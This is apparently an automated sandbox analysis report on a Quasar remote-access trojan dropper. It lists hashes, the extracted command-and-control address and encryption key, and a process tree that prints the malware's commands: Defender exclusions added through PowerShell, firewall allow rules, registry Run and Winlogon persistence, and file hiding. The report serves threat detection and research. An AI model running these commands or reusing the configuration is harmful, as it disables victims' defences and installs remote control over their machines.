Analysis
-
max time kernel
9s -
max time network
157s -
platform
windows10-1703_x64 -
resource
win10-20230703-en -
resource tags
arch:x64arch:x86image:win10-20230703-enlocale:en-usos:windows10-1703-x64system -
submitted
01/08/2023, 09:36
Static task
static1
General
-
Target
30d3f02893978499c80fdb0d5f91f365b8937da277e6bbef0d3cfe7579bca5fd.exe
-
Size
1.4MB
-
MD5
62b90419ae40f97c06df118fd3fef20b
-
SHA1
eb687f3f2ef9ea502ee450c6d3240d1361095154
-
SHA256
30d3f02893978499c80fdb0d5f91f365b8937da277e6bbef0d3cfe7579bca5fd
-
SHA512
22cfb1a2ebf50abdb0fa3019157082dd127eb39e76122c6824e3b18cb274dca023c7b3815b73dd057c293d4e85def0de821e38dd4bc44294c4e0cf148bea7261
-
SSDEEP
24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk
Malware Config
Extracted
quasar
1.3.0.0
-
94.131.105.161:12344
QSR_MUTEX_UEgITWnMKnRP3EZFzK
-
encryption_key
5Q0JQBQQfAUHRJTcAIOF
-
install_name
lient.exe
-
log_directory
Lugs
-
reconnect_delay
3000
-
startup_key
itartup
-
subdirectory
SubDir
Signatures
-
Quasar payload 1 IoCs
resource yara_rule behavioral1/memory/2180-619-0x0000000000400000-0x000000000045E000-memory.dmp family_quasar -
Modifies Windows Firewall 1 TTPs 2 IoCs
pid Process 3744 netsh.exe 3024 netsh.exe -
ACProtect 1.3x - 1.4x DLL software 2 IoCs
Detects file using ACProtect software.
resource yara_rule behavioral1/files/0x000700000001b02f-256.dat acprotect behavioral1/files/0x000700000001b02f-255.dat acprotect -
resource yara_rule behavioral1/files/0x000700000001b033-252.dat upx behavioral1/memory/4196-253-0x0000000000400000-0x0000000000432000-memory.dmp upx behavioral1/files/0x000700000001b033-254.dat upx behavioral1/files/0x000700000001b02f-256.dat upx behavioral1/files/0x000700000001b02f-255.dat upx behavioral1/memory/4196-257-0x0000000010000000-0x00000000100E2000-memory.dmp upx behavioral1/memory/4196-261-0x0000000000400000-0x0000000000432000-memory.dmp upx -
Unexpected DNS network traffic destination 3 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
description ioc Destination IP 208.67.222.222 Destination IP 208.67.222.222 Destination IP 208.67.222.222 -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 15 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs ping.exe 1 TTPs 4 IoCs
pid Process 4068 PING.EXE 3548 PING.EXE 4456 PING.EXE 436 PING.EXE -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 4836 powershell.exe 4836 powershell.exe 4836 powershell.exe 432 powershell.exe 432 powershell.exe 432 powershell.exe 2836 powershell.exe 2836 powershell.exe 2836 powershell.exe 4896 powershell.exe -
Suspicious use of AdjustPrivilegeToken 46 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5008 WMIC.exe Token: SeSecurityPrivilege 5008 WMIC.exe Token: SeTakeOwnershipPrivilege 5008 WMIC.exe Token: SeLoadDriverPrivilege 5008 WMIC.exe Token: SeSystemProfilePrivilege 5008 WMIC.exe Token: SeSystemtimePrivilege 5008 WMIC.exe Token: SeProfSingleProcessPrivilege 5008 WMIC.exe Token: SeIncBasePriorityPrivilege 5008 WMIC.exe Token: SeCreatePagefilePrivilege 5008 WMIC.exe Token: SeBackupPrivilege 5008 WMIC.exe Token: SeRestorePrivilege 5008 WMIC.exe Token: SeShutdownPrivilege 5008 WMIC.exe Token: SeDebugPrivilege 5008 WMIC.exe Token: SeSystemEnvironmentPrivilege 5008 WMIC.exe Token: SeRemoteShutdownPrivilege 5008 WMIC.exe Token: SeUndockPrivilege 5008 WMIC.exe Token: SeManageVolumePrivilege 5008 WMIC.exe Token: 33 5008 WMIC.exe Token: 34 5008 WMIC.exe Token: 35 5008 WMIC.exe Token: 36 5008 WMIC.exe Token: SeIncreaseQuotaPrivilege 5008 WMIC.exe Token: SeSecurityPrivilege 5008 WMIC.exe Token: SeTakeOwnershipPrivilege 5008 WMIC.exe Token: SeLoadDriverPrivilege 5008 WMIC.exe Token: SeSystemProfilePrivilege 5008 WMIC.exe Token: SeSystemtimePrivilege 5008 WMIC.exe Token: SeProfSingleProcessPrivilege 5008 WMIC.exe Token: SeIncBasePriorityPrivilege 5008 WMIC.exe Token: SeCreatePagefilePrivilege 5008 WMIC.exe Token: SeBackupPrivilege 5008 WMIC.exe Token: SeRestorePrivilege 5008 WMIC.exe Token: SeShutdownPrivilege 5008 WMIC.exe Token: SeDebugPrivilege 5008 WMIC.exe Token: SeSystemEnvironmentPrivilege 5008 WMIC.exe Token: SeRemoteShutdownPrivilege 5008 WMIC.exe Token: SeUndockPrivilege 5008 WMIC.exe Token: SeManageVolumePrivilege 5008 WMIC.exe Token: 33 5008 WMIC.exe Token: 34 5008 WMIC.exe Token: 35 5008 WMIC.exe Token: 36 5008 WMIC.exe Token: SeDebugPrivilege 4836 powershell.exe Token: SeDebugPrivilege 432 powershell.exe Token: SeDebugPrivilege 2836 powershell.exe Token: SeDebugPrivilege 4896 powershell.exe -
Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 3376 wrote to memory of 2868 3376 30d3f02893978499c80fdb0d5f91f365b8937da277e6bbef0d3cfe7579bca5fd.exe 70 PID 3376 wrote to memory of 2868 3376 30d3f02893978499c80fdb0d5f91f365b8937da277e6bbef0d3cfe7579bca5fd.exe 70 PID 3376 wrote to memory of 2868 3376 30d3f02893978499c80fdb0d5f91f365b8937da277e6bbef0d3cfe7579bca5fd.exe 70 PID 2868 wrote to memory of 4360 2868 cmd.exe 73 PID 2868 wrote to memory of 4360 2868 cmd.exe 73 PID 2868 wrote to memory of 4360 2868 cmd.exe 73 PID 4360 wrote to memory of 4396 4360 cmd.exe 74 PID 4360 wrote to memory of 4396 4360 cmd.exe 74 PID 4360 wrote to memory of 4396 4360 cmd.exe 74 PID 2868 wrote to memory of 748 2868 cmd.exe 75 PID 2868 wrote to memory of 748 2868 cmd.exe 75 PID 2868 wrote to memory of 748 2868 cmd.exe 75 PID 748 wrote to memory of 5008 748 cmd.exe 76 PID 748 wrote to memory of 5008 748 cmd.exe 76 PID 748 wrote to memory of 5008 748 cmd.exe 76 PID 2868 wrote to memory of 4836 2868 cmd.exe 78 PID 2868 wrote to memory of 4836 2868 cmd.exe 78 PID 2868 wrote to memory of 4836 2868 cmd.exe 78 PID 2868 wrote to memory of 432 2868 cmd.exe 79 PID 2868 wrote to memory of 432 2868 cmd.exe 79 PID 2868 wrote to memory of 432 2868 cmd.exe 79 PID 2868 wrote to memory of 2836 2868 cmd.exe 80 PID 2868 wrote to memory of 2836 2868 cmd.exe 80 PID 2868 wrote to memory of 2836 2868 cmd.exe 80 PID 2868 wrote to memory of 4896 2868 cmd.exe 81 PID 2868 wrote to memory of 4896 2868 cmd.exe 81 PID 2868 wrote to memory of 4896 2868 cmd.exe 81 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3852 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\30d3f02893978499c80fdb0d5f91f365b8937da277e6bbef0d3cfe7579bca5fd.exe"C:\Users\Admin\AppData\Local\Temp\30d3f02893978499c80fdb0d5f91f365b8937da277e6bbef0d3cfe7579bca5fd.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3376 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com3⤵
- Suspicious use of WriteProcessMemory
PID:4360 -
C:\Windows\SysWOW64\nslookup.exenslookup myip.opendns.com. resolver1.opendns.com4⤵PID:4396
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain3⤵
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\SysWOW64\Wbem\WMIC.exewmic ComputerSystem get Domain4⤵
- Suspicious use of AdjustPrivilegeToken
PID:5008
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4836
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:432
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2836
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4896
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'3⤵PID:2456
-
-
C:\Users\Admin\AppData\Local\Temp\7z.exe7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z3⤵PID:4196
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps13⤵PID:4948
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes4⤵
- Modifies Windows Firewall
PID:3744
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes4⤵
- Modifies Windows Firewall
PID:3024
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe"4⤵PID:5108
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic computersystem where name="CXVLSGIX" set AutomaticManagedPagefile=False5⤵PID:5044
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe"4⤵PID:2380
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=200005⤵PID:516
-
-
-
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"4⤵PID:4920
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c ping 127.0.0.1 -n 9 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"5⤵PID:1528
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 96⤵
- Runs ping.exe
PID:4068
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"6⤵PID:3312
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c ping 127.0.0.1 -n 18 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 18 > nul && "C:\Users\Admin\Music\rot.exe"5⤵PID:1292
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 186⤵
- Runs ping.exe
PID:3548
-
-
-
-
C:\Windows\SysWOW64\attrib.exe"C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"4⤵
- Views/modifies file attributes
PID:3852
-
-
-
C:\Users\Admin\AppData\Local\Temp\ratt.exe"ratt.exe"3⤵PID:4804
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c ping 127.0.0.1 -n 14 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 14 > nul && "C:\Users\Admin\Music\rot.exe"4⤵PID:5032
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 145⤵
- Runs ping.exe
PID:4456
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 145⤵
- Runs ping.exe
PID:436
-
-
C:\Users\Admin\Music\rot.exe"C:\Users\Admin\Music\rot.exe"5⤵PID:4452
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"6⤵PID:2180
-
-
-
-
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F3⤵PID:2736
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
237.5MB
MD57c569a78f55a49d5b25130b88891935f
SHA10e310abfbdb258beefd03232ddeb4a8755b2d631
SHA25668fde99f3149495b06db25ad4f35e61fa494415c482d26c2ca85e7b87cc30e61
SHA5128eaa3f9ae15c4843fcf56373a129a15024258dd7fa8b140a6b285d68411a15704361d4e94e27e171f0dcfe4d6ac86e978fb15982cbec25cbbbb295168ba0e32f
-
Filesize
231.6MB
MD533ecdbb8d155cae3982aa0bb52215362
SHA13ebd3d9fe00df6eef4879d5b7315e09653944eb4
SHA2562f9fd5cc815cabdc582409214429fdcc9e0d1d69d72754adcab83a7884c73791
SHA51213941ea16dc67b95202009edba18ffc0b9b6b0f3437adef6be1d681501499966044b640016d44dd4fc8d18fe1185b4acc155bb247b61e587e485ae99ba2c8cad
-
Filesize
1KB
MD50f5cbdca905beb13bebdcf43fb0716bd
SHA19e136131389fde83297267faf6c651d420671b3f
SHA256a99135d86804f5cf8aaeb5943c1929bd1458652a3318ab8c01aee22bb4991060
SHA512a41d2939473cffcb6beb8b58b499441d16da8bcc22972d53b8b699b82a7dc7be0db39bcd2486edd136294eb3f1c97ddd27b2a9ff45b831579cba6896d1f776b0
-
Filesize
1KB
MD59e104e9aa0cfdec0753de24cbe3f587b
SHA1f63b8d0b29c65e518be6a9412e7499c9de11be78
SHA25659a9f13de0e003ea4adcd0193477f147b0c91ae847eebc744e91a4efe167223f
SHA5128253854159ceac2d84eb371c9672730831505dea52ac3bc2cca45ee5308717ca3f11734602d0a409974b137084a8c20e6b7653640991e45708f692c65ac4933b
-
Filesize
12KB
MD53d3a8157227c293a1e2c6425a87c8341
SHA1c208b690a9382baf3d4ff2494e33f7cf9b13eaa0
SHA25634be4f7c5c92d5a6f9f17ca316f7a03a0a54421b55b2569bf68c67e03334d10c
SHA5125fb3daccb0ae420dc8fae121f5ee5d0e4258595f841c778a64b8aadec867338b691f910373df0416e215e0d70de020d3faddd558f9d723221121d1eb0571d9c3
-
Filesize
12KB
MD5cca3f236a56c86388ff6d0747efa69a1
SHA138d37e3efaf6505117538044165f50b98694a9eb
SHA2568b93103be2ff451200bc2b7ec40e6a4c4f33fa69c3a13db3d0c24a803b7d946b
SHA512afcdfc05f2b69a0c6cde42166926103b969a40ce096b1770e7b90d4c15a655be14034e6438cf0ddfcb1fc22b5f9c5b6b010a2f2db4375e04e085cf699705222e
-
Filesize
12KB
MD5cea976eac9502fa3cc5971d1432867b0
SHA19029c524ccb62c49f18c9a7afcf61d928d5ebaed
SHA256bd1349eb82e41d438da6420877935de22bd9e3192aa276a1eda7777dd4a4fe35
SHA5128e91e54ca2fe1419db0676c79aa4b6c7d428c50a55d9a274c3428df991776f6165b5fe797fb83bf382a40d02af452735aa385d071eae9a6f0ffac9390902151c
-
Filesize
12KB
MD5b098827dafac96bdcbd18e47388b0523
SHA14f0ed63e821c64b9d45007d4a25ddf3c38dde86b
SHA2562182fa1d1f4cd1211285c438f0b5a3b1a521797e1d283f5804758c8c0ea8eee7
SHA51252b5174b550c30c438ad5a27fc3d8e5ddfb465729aad23887b9adbbc97261c7baf46aedaff6509c5b95a90129920a47658d12074694e894662c6904ebb8505c4
-
Filesize
12KB
MD5e2883b35baad5ef74f5b08d2d15692ad
SHA1c193f61c353f0fe72b4bbba3349c2cbaf2018b24
SHA2564fa030ad892b936f907fdab24b0293b27316c01c906a7db7e0c613291eb69771
SHA51239fe1b6643e549075837f7b7c45e0f42800ae81cad4e5ae5e731aaba810ad9c1e90fc772db57d6cc462ef719ccad8745ab28d186655c528fcf017cb16293ad11
-
Filesize
328KB
MD515bbbe562f9be3e5dcbb834e635cc231
SHA17c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a
SHA256ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde
SHA512769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287
-
Filesize
71KB
MD58ba2e41b330ae9356e62eb63514cf82e
SHA18dc266467a5a0d587ed0181d4344581ef4ff30b2
SHA256ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea
SHA5122fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d
-
Filesize
71KB
MD58ba2e41b330ae9356e62eb63514cf82e
SHA18dc266467a5a0d587ed0181d4344581ef4ff30b2
SHA256ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea
SHA5122fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d
-
Filesize
1KB
MD50df43097e0f0acd04d9e17fb43d618b9
SHA169b3ade12cb228393a93624e65f41604a17c83b6
SHA256c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873
SHA51201ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
693KB
MD57de6fdf3629c73bf0c29a96fa23ae055
SHA1dcb37f6d43977601c6460b17387a89b9e4c0609a
SHA256069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff
SHA512d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8
-
Filesize
1KB
MD57ea1fec84d76294d9256ae3dca7676b2
SHA11e335451d1cbb6951bc77bf75430f4d983491342
SHA2569a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940
SHA512ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317
-
Filesize
264.5MB
MD5e90e53a5a0d2ed88e152ad78415ebcea
SHA1cb550295d0cafd1291923fb99eebd311bac72788
SHA2566c57b673ef47668e584acfb65344bcfed69fbaf82098baee54bfa6e83e861a89
SHA512b69a665bf430af5ca281774abcf00610067cc9ca3c911d3718cdec85e303c89bdbb53dce0fbb8f08e1e34c29112dfbc3cc6337a17bd829df034b4571929fdab2
-
Filesize
226.8MB
MD56bf6ecd7a5fb99b0cf8e6716b725a635
SHA1f74615a337fefe921cf334a3fbd76fc7b949c193
SHA256f110bfbe5fce151e1eda94a558685ebd193083dc317c24fa8532002de8ae3aa5
SHA512861e26831fdf1a4d9f0052475519da41c7fe9c4b50fb6884c866da4cbad60a904ce1009d015b67cdbf196e9ac53e4df7f4b7dee65c61d049c0d60468f990cb13
-
Filesize
173.6MB
MD5106176fbd1febb7436834ebbf3f7edce
SHA1fd71c25d6f80bb9f7f451c19f07249387c55e60e
SHA256494d19c9da10ebe75f148cda9f2c14c8c807d22bda240718977253177ba329a1
SHA51225830eed2c63a4bd854755b42d1a10596a563a50d8e0f590ed79205f5bdceaeeac1cec76b0a74d7150fc9f353d642c4c3cd1cfbdbbd2294a492ec040bb4787ef
-
Filesize
117.7MB
MD5be1238aa9b7d0062e73bf00b3fc691bf
SHA181a0f1f1db13320d8a60bbb1ffdc026b0eb47df1
SHA25687486d5831cccdae66b8b78bdd3e16f4a8bc0866ceb6a5d65de0d571347e123a
SHA512a12d98ab47f0f7c01da515ece83b6262c57b7c1c6458c198c83785d69c583b9211ca0723c34e8410ac29224a5078350cb386bfde2e294409d548c73f23e5a26a
-
Filesize
113.2MB
MD536574dbd074e6410684a9a285a8dadd0
SHA1b91bf945252d8daff88f27971c8ba166d5c204f5
SHA256123dd3f0c31bf86b1f807761460bd7a6c9733b233f76ee59d426a449b1092be8
SHA51229443a495a27b2de3e1431d2a3587f8a921c3438b10609620ba0cacb7b4965d7c9caa8b3871020fbdbb7016c560934d7539b2be7dc8110a639e1e492390a546c
-
Filesize
328KB
MD515bbbe562f9be3e5dcbb834e635cc231
SHA17c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a
SHA256ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde
SHA512769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287